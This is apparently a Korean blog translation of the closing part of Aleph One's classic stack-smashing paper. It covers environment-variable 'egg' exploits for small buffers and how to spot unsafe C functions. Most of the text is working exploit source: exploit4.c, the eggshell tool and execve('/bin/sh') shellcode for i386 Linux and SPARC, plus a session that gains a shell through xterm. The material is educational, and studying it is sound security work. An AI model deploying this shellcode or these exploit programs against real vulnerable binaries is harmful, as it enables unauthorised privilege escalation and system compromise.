Security || AI

[시스템 공부] Smashing The Stack For Fun And Profit (최종) 번역 본문

Hacking&Security/시스템[System]

[시스템 공부] Smashing The Stack For Fun And Profit (최종) 번역

보안&인공지능 2018. 11. 5. 11:24

Small Buffer Overflows

작은 버퍼오버플로우

~~~~~~~~~~~~~~~~~~


버퍼오버플로우하려는 버퍼가 너무 작아 쉘코드를 넣기에도 맞지 않는 경우가 생길 것이고, 우리의 코드의 주소를 덮어쓰는 것이 아닌 명령들로 반환 주소들을 덮어쓸 수 있거나, 문자열 앞에 채우는NOP들의 수가 너무 적어 그들의 주소를 맞추기 어려울 때가 있다. 이런 프로그램들로부터 쉘을 얻으려면 다른 방법을 사용해야 한다. 이 특별한 접근은 프로그램의 환경 변수에 접근할 때만 작동할 수 있다. 


 우리가 할 것은 우리의 쉘코드를 환경 변수에 위치시키고, 버퍼를 메모리에 있는 변수의 주소로 오버플로우하는 것이다. 이 방법은 쉘 코드를 포함하는 환경 변수를 원하는 크기로 만들 수 있으므로 익스플로잇 방법의 변경도 증가시키다.


 환경 변수들은 프로그램이 시작할 때, 스택의 가장 위에 저장되는데, setenv()의 어떠한 변경은 다른 곳으로 할당된다.  스택의 시작 부분은 다음과 같다:


<strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>


 우리의 새로운 프로그램은 나머지의 쉘코드와 NOP명령들을 포함한 변수를 취한다. 우리의 새로운 프로그램은 아래와 같다”


exploit4.c

------------------------------------------------------------------------------

#include <stdlib.h>


#define DEFAULT_OFFSET                    0

#define DEFAULT_BUFFER_SIZE             512

#define DEFAULT_EGG_SIZE               2048

#define NOP                            0x90


char shellcode[] =

  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

  "\x80\xe8\xdc\xff\xff\xff/bin/sh";


unsigned long get_esp(void) {

   __asm__("movl %esp,%eax");

}


void main(int argc, char *argv[]) {

  char *buff, *ptr, *egg;

  long *addr_ptr, addr;

  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

  int i, eggsize=DEFAULT_EGG_SIZE;


  if (argc > 1) bsize   = atoi(argv[1]);

  if (argc > 2) offset  = atoi(argv[2]);

  if (argc > 3) eggsize = atoi(argv[3]);



  if (!(buff = malloc(bsize))) {

    printf("Can't allocate memory.\n");

    exit(0);

  }

  if (!(egg = malloc(eggsize))) {

    printf("Can't allocate memory.\n");

    exit(0);

  }


  addr = get_esp() - offset;

  printf("Using address: 0x%x\n", addr);


  ptr = buff;

  addr_ptr = (long *) ptr;

  for (i = 0; i < bsize; i+=4)

    *(addr_ptr++) = addr;


  ptr = egg;

  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)

    *(ptr++) = NOP;


  for (i = 0; i < strlen(shellcode); i++)

    *(ptr++) = shellcode[i];


  buff[bsize - 1] = '\0';

  egg[eggsize - 1] = '\0';


  memcpy(egg,"EGG=",4);

  putenv(egg);

  memcpy(buff,"RET=",4);

  putenv(buff);

  system("/bin/bash");

}

------------------------------------------------------------------------------


   새로운 익스플로잇을 취약한 테스트 프로그램에 시도해보자.


------------------------------------------------------------------------------

[aleph1]$ ./exploit4 768

Using address: 0xbffffdb0

[aleph1]$ ./vulnerable $RET

$

------------------------------------------------------------------------------


 매력적으로 작동한다. 이제 xterm으로 시도해보자:


------------------------------------------------------------------------------

[aleph1]$ export DISPLAY=:0.0

[aleph1]$ ./exploit4 2148

Using address: 0xbffffdb0

[aleph1]$ /usr/X11R6/bin/xterm -fg $RET

Warning: Color name

"



























































































Warning: some arguments in previous message were lost

$

------------------------------------------------------------------------------

 

 첫번째 시도로 성공하였다! 성공할 수 있는 가능성이 확실히 늘었다. 이용하려는 프로그램과 얼마나 많은 환경 데이터를 비교함에 따라 주소는 낮아 질 수도, 높아 질 수도 있다. 양의 오프셋과 음의 오프셋 둘 다 실험해 보아라.


Finding Buffer Overflows

버퍼 오버플로우 찾기

~~~~~~~~~~~~~~~~~~~

 앞서 말했듯이, 버퍼오버플로우는 다룰 수 있는 정보보다 더 많이 채움으로써 일어난다.  C는 문자열길이를 확인하지 않기 때문에, 오버플로우는 문자형 배열의 끝을 지나 기록하면서 발생한다. 표준 C 라이브러리는 문자열 길이의 한계를 체크하지 않고, 문자열을 복사하고, 추가하는 기능들을 제공한다. 이는 strcat(), strcpy(), sprint()와 vsprintf()를 포함한다. 이 기능들은 null로 종료되는 문자열에서 작용하고, 받은 문자열로부터 오버플로우를 확인하지 않는다. gets는 개행 문자나 EOF가 나올때까지 표준 입력으로부터 한 줄을 읽어서 버퍼에 기록한다. 이것은 버퍼오버플로우를 체크하지 않는다. scanf와 같은 함수 종류들은, 만약 공백 문자가 아닌 문자열(%s)을 매치시키거나, 명시된 세트(%[])로부터 공백이 아닌 문자들을 매칭시키고, char포인터로 정해진 배열들이 문자열 모두를 받아드릴 수 있을 만큼 크지 않고, 최대 필드 폭을 선택적으로 정의하지 않는다면 문제가 발생할 수 있다. 이러한 기능의 대상이 정적 크기의 버퍼이고, 다른 인수가 사용자 입력에서 파생된 경우 버퍼오버플로우를 이용할 수 있는 가능성이 높다.


 우리가 찾은 다른 일반적인 프로그래밍 구성은 한 번에 한 문자를 표준 입력 또는 일부 파일에서 버퍼로 읽는데 사용하는 while 반복을 사용하여 줄 끝, 파일 끝 또는 다른 구분 기호에 도달할 때까지 사용한다. 이러한 유형의 구조는 일반적으로 getc(), fgetc() 또는 getchar() 중 하나를 사용한다. 루프에 오버플로우에 대하나 명확한 검사가 없는 경우 이러한 프로그램을 쉽게 활용할 수 있다.


 결론적으로 grep(1)은 우리의 친구이다. 무료 운영체제와 그 기능들을 손쉽게 이용할 수 있다. 이 사실은 많은 보편적인 운영체제 유틸리티가 무료 운영체제와 동일한 소스에서 파생된다는 것을 알게 되면 매우 흥미로워진다.


Appendix A – Shellcode for Different Operating Systems/Architectures

부록 A – 다른 운영 체제들/아키텍처를 위한 쉘코드

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


i386/리눅스

------------------------------------------------------------------------------

        jmp    0x1f

        popl   %esi

        movl   %esi,0x8(%esi)

        xorl   %eax,%eax

movb   %eax,0x7(%esi)

        movl   %eax,0xc(%esi)

        movb   $0xb,%al

        movl   %esi,%ebx

        leal   0x8(%esi),%ecx

        leal   0xc(%esi),%edx

        int    $0x80

        xorl   %ebx,%ebx

        movl   %ebx,%eax

        inc    %eax

        int    $0x80

        call   -0x24

        .string \"/bin/sh\"

------------------------------------------------------------------------------


SPARC/솔라리스

------------------------------------------------------------------------------

        sethi   0xbd89a, %l6

        or      %l6, 0x16e, %l6

        sethi   0xbdcda, %l7

        and     %sp, %sp, %o0

        add     %sp, 8, %o1

        xor     %o2, %o2, %o2

        add     %sp, 16, %sp

        std     %l6, [%sp - 16]

        st      %sp, [%sp - 8]

        st      %g0, [%sp - 4]

        mov     0x3b, %g1

        ta      8

        xor     %o7, %o7, %o0

        mov     1, %g1

        ta      8

------------------------------------------------------------------------------


SPARC/SunOS

------------------------------------------------------------------------------

        sethi   0xbd89a, %l6

        or      %l6, 0x16e, %l6

        sethi   0xbdcda, %l7

        and     %sp, %sp, %o0

        add     %sp, 8, %o1

        xor     %o2, %o2, %o2

        add     %sp, 16, %sp

        std     %l6, [%sp - 16]

        st      %sp, [%sp - 8]

        st      %g0, [%sp - 4]

        mov     0x3b, %g1

mov -0x1, %l5

        ta      %l5 + 1

        xor     %o7, %o7, %o0

        mov     1, %g1

        ta      %l5 + 1

------------------------------------------------------------------------------


Appendix B – Generic Bugger Overflows Program

부록 B – 일반적인 버퍼오버플로우 프로그램

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Shellcode.h

------------------------------------------------------------------------------

#if defined(__i386__) && defined(__linux__)


#define NOP_SIZE 1

char nop[] = "\x90";

char shellcode[] =

  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

  "\x80\xe8\xdc\xff\xff\xff/bin/sh";


unsigned long get_sp(void) {

   __asm__("movl %esp,%eax");

}


#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)


#define NOP_SIZE 4

char nop[]="\xac\x15\xa1\x6e";

char shellcode[] =

  "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"

  "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"

  "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"

  "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";


unsigned long get_sp(void) {

  __asm__("or %sp, %sp, %i0");

}


#elif defined(__sparc__) && defined(__sun__)


#define NOP_SIZE        4

char nop[]="\xac\x15\xa1\x6e";

char shellcode[] =

  "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"

  "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"

  "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"

  "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";


unsigned long get_sp(void) {

  __asm__("or %sp, %sp, %i0");

}


#endif

------------------------------------------------------------------------------


eggshell.c

------------------------------------------------------------------------------

/*

 * eggshell v1.0

 *

 * Aleph One / aleph1@underground.org

 */

#include <stdlib.h>

#include <stdio.h>

#include "shellcode.h"


#define DEFAULT_OFFSET                    0

#define DEFAULT_BUFFER_SIZE             512

#define DEFAULT_EGG_SIZE               2048


void usage(void);


void main(int argc, char *argv[]) {

  char *ptr, *bof, *egg;

  long *addr_ptr, addr;

  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

  int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;


  while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)

    switch (c) {

      case 'a':

        align = atoi(optarg);

        break;

      case 'b':

        bsize = atoi(optarg);

        break;

      case 'e':

        eggsize = atoi(optarg);

        break;

      case 'o':

        offset = atoi(optarg);

        break;

      case '?':

        usage();

        exit(0);

    }


  if (strlen(shellcode) > eggsize) {

    printf("Shellcode is larger the the egg.\n");

    exit(0);

  }


  if (!(bof = malloc(bsize))) {

    printf("Can't allocate memory.\n");

    exit(0);

  }

  if (!(egg = malloc(eggsize))) {

    printf("Can't allocate memory.\n");

    exit(0);

  }


  addr = get_sp() - offset;

  printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",

    bsize, eggsize, align);

  printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);


  addr_ptr = (long *) bof;

  for (i = 0; i < bsize; i+=4)

    *(addr_ptr++) = addr;


  ptr = egg;

  for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)

    for (n = 0; n < NOP_SIZE; n++) {

      m = (n + align) % NOP_SIZE;

      *(ptr++) = nop[m];

    }


  for (i = 0; i < strlen(shellcode); i++)

    *(ptr++) = shellcode[i];


  bof[bsize - 1] = '\0';

  egg[eggsize - 1] = '\0';


  memcpy(egg,"EGG=",4);

  putenv(egg);


  memcpy(bof,"BOF=",4);

  putenv(bof);

  system("/bin/sh");

}


void usage(void) {

  (void)fprintf(stderr,

    "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n");

}

------------------------------------------------------------------------------



반응형